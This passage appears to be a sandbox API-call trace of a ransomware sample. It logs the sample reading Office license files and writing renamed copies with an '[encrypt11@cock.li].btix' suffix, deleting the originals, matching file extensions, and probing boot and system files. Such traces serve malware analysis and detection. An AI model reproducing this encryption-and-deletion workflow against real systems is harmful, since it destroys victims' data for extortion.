nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x116, lpOverlapped=0x0) returned 1 [0144.839] SetEndOfFile (hFile=0x508) returned 1 [0144.840] CloseHandle (hObject=0x508) returned 1 [0144.840] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0144.840] SetEndOfFile (hFile=0x390) returned 1 [0144.842] CloseHandle (hObject=0x390) returned 1 [0144.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0144.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_grace-ul-oob.xrm-ms")) returned 1 [0145.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0145.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0145.001] lstrlenW (lpString=".doc") returned 4 [0145.001] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0145.001] lstrlenW (lpString=".docx") returned 5 [0145.001] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0145.001] lstrlenW (lpString=".pdf") returned 4 [0145.001] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0145.001] lstrlenW (lpString=".xls") returned 4 [0145.001] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0145.001] lstrlenW (lpString=".xlsx") returned 5 [0145.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0145.001] lstrlenW (lpString=".ppt") returned 4 [0145.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0145.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0145.002] lstrlenW (lpString=".zip") returned 4 [0145.002] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0145.002] lstrlenW (lpString=".rar") returned 4 [0145.002] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0145.002] lstrlenW (lpString=".bz2") returned 4 [0145.002] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0145.002] lstrlenW (lpString=".7z") returned 3 [0145.002] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0145.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0145.002] lstrlenW (lpString=".dbf") returned 4 [0145.002] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0145.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0145.002] lstrlenW (lpString=".1cd") returned 4 [0145.002] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0145.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Grace-ul-oob.xrm-ms") returned 83 [0145.002] lstrlenW (lpString=".jpg") returned 4 [0145.002] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0145.141] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=22093) returned 1 [0145.141] CloseHandle (hObject=0x334) returned 1 [0145.142] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0145.488] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0146.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0146.013] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.013] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0146.014] GetLastError () returned 0x0 [0146.014] ReadFile (in: hFile=0x548, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x564d, lpOverlapped=0x0) returned 1 [0146.036] WriteFile (in: hFile=0x540, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x5650, lpOverlapped=0x0) returned 1 [0146.037] ReadFile (in: hFile=0x548, lpBuffer=0x41a1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0146.038] WriteFile (in: hFile=0x540, lpBuffer=0x41a1020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x41a1020*, lpNumberOfBytesWritten=0x364fc94*=0x116, lpOverlapped=0x0) returned 1 [0146.038] SetEndOfFile (hFile=0x540) returned 1 [0146.038] CloseHandle (hObject=0x540) returned 1 [0146.038] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0146.038] SetEndOfFile (hFile=0x548) returned 1 [0146.040] CloseHandle (hObject=0x548) returned 1 [0146.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0146.041] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-ppd.xrm-ms")) returned 1 [0146.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.041] lstrlenW (lpString=".doc") returned 4 [0146.041] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString=".docx") returned 5 [0146.042] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0146.042] lstrlenW (lpString=".pdf") returned 4 [0146.042] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString=".xls") returned 4 [0146.042] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString=".xlsx") returned 5 [0146.042] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0146.042] lstrlenW (lpString=".ppt") returned 4 [0146.042] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.042] lstrlenW (lpString=".zip") returned 4 [0146.042] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString=".rar") returned 4 [0146.042] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString=".bz2") returned 4 [0146.042] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString=".7z") returned 3 [0146.042] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0146.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.042] lstrlenW (lpString=".dbf") returned 4 [0146.042] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.042] lstrlenW (lpString=".1cd") returned 4 [0146.042] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.042] lstrlenW (lpString=".jpg") returned 4 [0146.042] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0146.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.042] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.042] lstrlenW (lpString=".doc") returned 4 [0146.042] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".docx") returned 5 [0146.043] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0146.043] lstrlenW (lpString=".pdf") returned 4 [0146.043] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".xls") returned 4 [0146.043] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".xlsx") returned 5 [0146.043] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0146.043] lstrlenW (lpString=".ppt") returned 4 [0146.043] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.043] lstrlenW (lpString=".zip") returned 4 [0146.043] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".rar") returned 4 [0146.043] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".bz2") returned 4 [0146.043] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".7z") returned 3 [0146.043] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0146.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.043] lstrlenW (lpString=".dbf") returned 4 [0146.043] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.043] lstrlenW (lpString=".1cd") returned 4 [0146.043] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ppd.xrm-ms") returned 83 [0146.043] lstrlenW (lpString=".jpg") returned 4 [0146.043] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0146.043] lstrlenW (lpString=".id-") returned 4 [0146.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574ed8 | out: hHeap=0x510000) returned 1 [0146.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5bd8d0 | out: hHeap=0x510000) returned 1 [0146.043] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e00760 | out: hHeap=0x510000) returned 1 [0146.045] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3e10768 | out: hHeap=0x510000) returned 1 [0146.045] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x41a1020 | out: hHeap=0x510000) returned 1 [0146.049] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x574ec0 | out: hHeap=0x510000) returned 1 [0146.049] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4778 [0146.049] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4778, Size=0x20) returned 0x443de50 [0146.049] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4640 [0146.049] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4640, Size=0x20) returned 0x443de00 [0146.049] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0146.049] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0146.049] Wow64DisableWow64FsRedirection (in: OldValue=0x364ff50 | out: OldValue=0x364ff50*=0x1) returned 1 [0146.049] lstrlenW (lpString="kernel32.dll") returned 12 [0146.049] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 [0146.049] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0146.049] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de50 | out: hHeap=0x510000) returned 1 Thread: id = 48 os_tid = 0xe34 [0126.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3e20e40 [0126.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x3e30e48 [0126.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5750d0 [0126.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x5bd8e0 [0126.406] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x574f50 [0126.407] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x42bd020 [0126.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5750b8 [0126.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5750b8, Size=0x20) returned 0x54e920 [0126.409] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575130 [0126.409] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x575130, Size=0x20) returned 0x54ea88 [0126.409] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.409] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.409] Wow64DisableWow64FsRedirection (in: OldValue=0x378ff50 | out: OldValue=0x378ff50*=0x0) returned 1 [0126.409] lstrlenW (lpString="kernel32.dll") returned 12 [0126.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54e920 | out: hHeap=0x510000) returned 1 [0126.409] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.409] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54ea88 | out: hHeap=0x510000) returned 1 [0126.409] Sleep (dwMilliseconds=0x64) [0126.789] Sleep (dwMilliseconds=0x64) [0127.132] Sleep (dwMilliseconds=0x64) [0127.370] lstrlenW (lpString="bootmgr") returned 7 [0127.370] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0127.372] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=395226) returned 1 [0127.372] CloseHandle (hObject=0x384) returned 1 [0127.372] GetFileAttributesW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0127.372] GetFileAttributesW (lpFileName="C:\\bootmgr.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\bootmgr.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0127.372] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0127.373] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.374] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.374] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.374] lstrlenW (lpString=".doc") returned 4 [0127.374] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString=".docx") returned 5 [0127.374] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0127.374] lstrlenW (lpString=".pdf") returned 4 [0127.374] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString=".xls") returned 4 [0127.374] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString=".xlsx") returned 5 [0127.374] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0127.374] lstrlenW (lpString=".ppt") returned 4 [0127.374] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.374] lstrlenW (lpString=".zip") returned 4 [0127.374] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString=".rar") returned 4 [0127.374] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString=".bz2") returned 4 [0127.374] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString=".7z") returned 3 [0127.374] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0127.374] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.374] lstrlenW (lpString=".dbf") returned 4 [0127.374] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.374] lstrlenW (lpString=".1cd") returned 4 [0127.374] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0127.374] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.374] lstrlenW (lpString=".jpg") returned 4 [0127.374] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.375] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.375] lstrlenW (lpString=".doc") returned 4 [0127.375] lstrcmpiW (lpString1=".doc", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString=".docx") returned 5 [0127.375] lstrcmpiW (lpString1=".docx", lpString2="otmgr") returned -1 [0127.375] lstrlenW (lpString=".pdf") returned 4 [0127.375] lstrcmpiW (lpString1=".pdf", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString=".xls") returned 4 [0127.375] lstrcmpiW (lpString1=".xls", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString=".xlsx") returned 5 [0127.375] lstrcmpiW (lpString1=".xlsx", lpString2="otmgr") returned -1 [0127.375] lstrlenW (lpString=".ppt") returned 4 [0127.375] lstrcmpiW (lpString1=".ppt", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.375] lstrlenW (lpString=".zip") returned 4 [0127.375] lstrcmpiW (lpString1=".zip", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString=".rar") returned 4 [0127.375] lstrcmpiW (lpString1=".rar", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString=".bz2") returned 4 [0127.375] lstrcmpiW (lpString1=".bz2", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString=".7z") returned 3 [0127.375] lstrcmpiW (lpString1=".7z", lpString2="mgr") returned -1 [0127.375] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.375] lstrlenW (lpString=".dbf") returned 4 [0127.375] lstrcmpiW (lpString1=".dbf", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.375] lstrlenW (lpString=".1cd") returned 4 [0127.375] lstrcmpiW (lpString1=".1cd", lpString2="tmgr") returned -1 [0127.375] lstrlenW (lpString="C:\\bootmgr") returned 10 [0127.375] lstrlenW (lpString=".jpg") returned 4 [0127.375] lstrcmpiW (lpString1=".jpg", lpString2="tmgr") returned -1 [0127.376] lstrcmpiW (lpString1=".sys", lpString2=".btix") returned 1 [0127.376] lstrlenW (lpString="hiberfil.sys") returned 12 [0127.376] CreateFileW (lpFileName="C:\\hiberfil.sys" (normalized: "c:\\hiberfil.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.376] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.376] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.376] lstrlenW (lpString=".doc") returned 4 [0127.376] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0127.376] lstrlenW (lpString=".docx") returned 5 [0127.376] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0127.376] lstrlenW (lpString=".pdf") returned 4 [0127.376] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0127.376] lstrlenW (lpString=".xls") returned 4 [0127.376] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0127.376] lstrlenW (lpString=".xlsx") returned 5 [0127.376] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0127.376] lstrlenW (lpString=".ppt") returned 4 [0127.376] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0127.376] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.376] lstrlenW (lpString=".zip") returned 4 [0127.376] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0127.376] lstrlenW (lpString=".rar") returned 4 [0127.376] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0127.376] lstrlenW (lpString=".bz2") returned 4 [0127.376] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0127.376] lstrlenW (lpString=".7z") returned 3 [0127.376] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0127.376] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".dbf") returned 4 [0127.377] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".1cd") returned 4 [0127.377] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".jpg") returned 4 [0127.377] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".doc") returned 4 [0127.377] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString=".docx") returned 5 [0127.377] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1 [0127.377] lstrlenW (lpString=".pdf") returned 4 [0127.377] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString=".xls") returned 4 [0127.377] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0127.377] lstrlenW (lpString=".xlsx") returned 5 [0127.377] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1 [0127.377] lstrlenW (lpString=".ppt") returned 4 [0127.377] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".zip") returned 4 [0127.377] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0127.377] lstrlenW (lpString=".rar") returned 4 [0127.377] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString=".bz2") returned 4 [0127.377] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString=".7z") returned 3 [0127.377] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".dbf") returned 4 [0127.377] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0127.377] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.377] lstrlenW (lpString=".1cd") returned 4 [0127.378] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0127.378] lstrlenW (lpString="C:\\hiberfil.sys") returned 15 [0127.378] lstrlenW (lpString=".jpg") returned 4 [0127.378] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1 [0127.378] lstrcmpiW (lpString1=".sys", lpString2=".btix") returned 1 [0127.378] lstrlenW (lpString="pagefile.sys") returned 12 [0127.378] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.378] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.378] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.378] lstrlenW (lpString=".doc") returned 4 [0127.378] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1 [0127.378] lstrlenW (lpString=".docx") returned 5 [0127.378] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1 [0127.378] lstrlenW (lpString=".pdf") returned 4 [0127.378] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1 [0127.378] lstrlenW (lpString=".xls") returned 4 [0127.378] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1 [0127.378] lstrlenW (lpString=".xlsx") returned 5 [0127.378] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1 [0127.378] lstrlenW (lpString=".ppt") returned 4 [0127.378] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1 [0127.378] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.378] lstrlenW (lpString=".zip") returned 4 [0127.378] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1 [0127.378] lstrlenW (lpString=".rar") returned 4 [0127.378] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1 [0127.378] lstrlenW (lpString=".bz2") returned 4 [0127.379] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString=".7z") returned 3 [0127.379] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.379] lstrlenW (lpString=".dbf") returned 4 [0127.379] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.379] lstrlenW (lpString=".1cd") returned 4 [0127.379] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1 [0127.379] lstrlenW (lpString="C:\\pagefile.sys") returned 15 [0127.379] lstrlenW (lpString=".jpg") returned 4 